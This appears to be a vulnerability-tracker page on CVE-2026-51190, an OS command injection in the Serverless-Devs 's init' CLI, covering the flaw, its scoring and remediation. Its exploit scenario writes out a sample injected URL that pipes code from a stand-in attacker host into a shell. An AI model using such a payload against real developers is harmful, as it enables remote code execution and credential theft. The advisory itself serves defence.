Skip to main content

Serverless-Devs CVE-2026-51190

| EUVDEUVD-2026-52481 CRITICAL
OS Command Injection (CWE-78)
2026-08-03 mitre GHSA-rm7q-w9c9-27rj
9.8
CVSS 3.1 · Vendor: mitre
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft URL ending in .git with shell payload
  2. Delivery
    Lure developer to run 's init'
  3. Exploit
    Bypass .git-only input check
  4. Execution
    spawn() with shell:true executes payload
  5. Persist
    Run arbitrary commands as user
  6. Impact
    Steal cloud credentials or backdoor host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to invoke the 's init' command of @serverless-devs/s (<= 3.1.11) and supply an attacker-controlled argument - typically a repository/template URL. The specific bypass condition is that the argument must end in '.git' to satisfy the tool's sole input check while still containing shell metacharacters, which are then executed because spawn() is called with shell:true. Limiting factors that reduce real-world risk: the attacker cannot trigger this remotely on their own - a user must be socially engineered into running the command with the malicious value (user interaction), execution occurs locally on the developer's machine, and impact is bounded by the privileges of that user. This is not remote unauthenticated exploitation of a service despite the input CVSS AV:N/UI:N rating.

Impact

The signals conflict and should be weighed rather than taken at face value. The input CVSS of 9.8 (AV:N/AC:L/PR:N/UI:N) implies remote, unauthenticated, no-interaction exploitation, but the description makes clear the attack fires only when a user voluntarily runs 's init' with an attacker-controlled argument - that is realistically local execution with user interaction, so the 9.8 likely overstates true risk. SSVC (exploitation: poc, automatable: yes, technical impact: total) and the existence of POC code raise the priority, yet EPSS is low (0.48%, 39th percentile) and there is no CISA KEV listing, indicating no confirmed widespread exploitation. Net: this is a real, high-impact developer-workstation supply-chain/social-engineering risk for teams using this CLI, but not a mass-exploitable internet-facing 9.8 - treat as important for affected dev environments, not an emergency for the general population. CVSS indicates network vector and no user interaction, but the description implies local invocation with a crafted argument - verify the true vector before ranking as critical.

Exploit ScenarioDerived

An attacker publishes a malicious project template, README, or tutorial containing an init URL like 'https://evil.example/repo$(curl attacker/x|sh).git' and lures a developer into running 's init' with it. Because the string ends in '.git' it passes the only validation, and shell:true causes the embedded command to execute with the developer's privileges, stealing cloud credentials or installing a backdoor. A public POC gist demonstrates the injection, lowering the skill barrier.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 07, 2026

OS command injection in the Serverless-Devs CLI (@serverless-devs/s versions 3.1.11 and earlier) lets an attacker execute arbitrary commands on a developer's machine when they run 's init' with a crafted, attacker-influenced argument. The tool passes unsanitized input into child_process.spawn() with shell:true, and the single guard check - requiring the value to end in '.git' - is trivially satisfied by an attacker while still smuggling shell metacharacters. Publicly available exploit code exists (a proof-of-concept gist), SSVC rates technical impact as total and automatable, but EPSS remains low at 0.48% and it is not in CISA KEV.

RemediationAI

Upgrade @serverless-devs/s to a fixed release above 3.1.11 once published; no exact patched version is provided in the available data, so confirm the fixed version directly with the maintainers before deploying - no vendor-released patch version is independently confirmed here. Until a fix is verified, do not run 's init' with untrusted or attacker-supplied repository URLs/template arguments, and treat any '.git' argument from an unverified source as dangerous despite the extension check. Compensating controls: pin and vet the exact template/registry sources you pass to 's init'; run the CLI inside an unprivileged, sandboxed container or throwaway VM so that command execution cannot reach credentials, cloud tokens, or CI secrets (trade-off: added workflow friction); and remove cached cloud credentials from the environment where the CLI runs to limit blast radius. Reference: the POC gist (https://gist.github.com/j311yl0v3u/5600afea3bea1337805c2e335bd4ae8e) and NVD (https://nvd.nist.gov/vuln/detail/CVE-2026-51190).

Affected VersionsENISA

n/a n/a

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Serverless-Devs is an open-source serverless application lifecycle/DevOps toolchain (widely associated with the Alibaba Cloud Function Compute ecosystem) whose 's' CLI scaffolds projects via the 's init' command. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): user-supplied input is forwarded to Node.js child_process.spawn() with the shell:true option, which routes the arguments through '/bin/sh -c' (or cmd.exe) rather than executing a program directly. Because a shell interprets metacharacters such as ';', '&&', '|', backticks and '$()', any injected sequence is executed. The only validation is a check that the argument ends with '.git', which does not neutralize shell syntax - a payload like 'https://x/$(malicious).git' both passes the check and executes.

Know when N A gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

Attack executes locally only when a user runs 's init' with a crafted argument (AV:L, UI:R); no prior privileges needed (PR:N); shell command execution yields full C/I/A impact.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (mitre).

CVSS VectorVendor: mitre

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
CVSS changed
Aug 06, 2026 - 22:22 NVD
9.8 (CRITICAL)
CVE Published
Aug 03, 2026 - 00:00 cve.org
CRITICAL 9.8
CVE Published
Aug 03, 2026 - 00:00 cve.org
UNKNOWN (no severity yet)

DescriptionCVE.org

The "s init" command in Serverless-Devs @serverless-devs/s <= 3.1.11 passes unsanitized user input to child_process.spawn() with shell: true. A URL ending in ".git" bypasses the only input check, allowing OS command injection when a user runs "s init" with an attacker-controlled argument.

Executive ViewAI

Why It Matters

A critical command injection flaw in Serverless-Devs CLI (@serverless-devs/s) versions 3.1.11 and earlier can grant attackers code execution rights on developer workstations through maliciously crafted initialization commands. The vulnerability is exploitable via proof-of-concept code, placing any developer using this tool at risk of credentials compromise and lateral movement into downstream applications and infrastructure.

Business Impact: Severe
Compensating Controls

Restrict 's init' execution to pre-approved, signed initialization scripts; execute Serverless-Devs commands only within isolated sandboxed environments with restricted outbound network access and credential exposure prevention; implement process-level monitoring for unexpected child processes spawned from Node.js; disable 's init' entirely and migrate to alternative serverless frameworks; establish code review for any use of @serverless-devs/s and require explanation of arguments.

Threat Intelligence Overview

EPSS Score
0.5%
Top 61% exploitable
Prevalence
Low
niche serverless DevOps CLI, mainly Alibaba Cloud developer ecosystem
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.5%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in N A

View all
CVE-2024-51092 CRITICAL POC
9.1 May 08

LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr

CVE-2025-15684 MEDIUM POC
5.5 Aug 12

Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han

CVE-2024-45257 HIGH POC
7.3 May 08

A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi

CVE-2025-15687 LOW POC
2.1 Aug 12

Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc

CVE-2025-15686 LOW POC
2.1 Aug 12

Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula

CVE-2025-67888 HIGH POC
7.3 May 08

Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root

CVE-2024-53326 HIGH POC
7.3 May 08

LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(

CVE-2026-38360 CRITICAL POC
9.8 May 08

Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti

CVE-2026-30623 CRITICAL POC
9.8 Jul 15

Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr

CVE-2026-67917 CRITICAL POC
9.8 Aug 17

SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg

CVE-2026-75337 CRITICAL POC
9.8 Aug 27

Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ

CVE-2026-31072 CRITICAL POC
9.8 May 19

Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy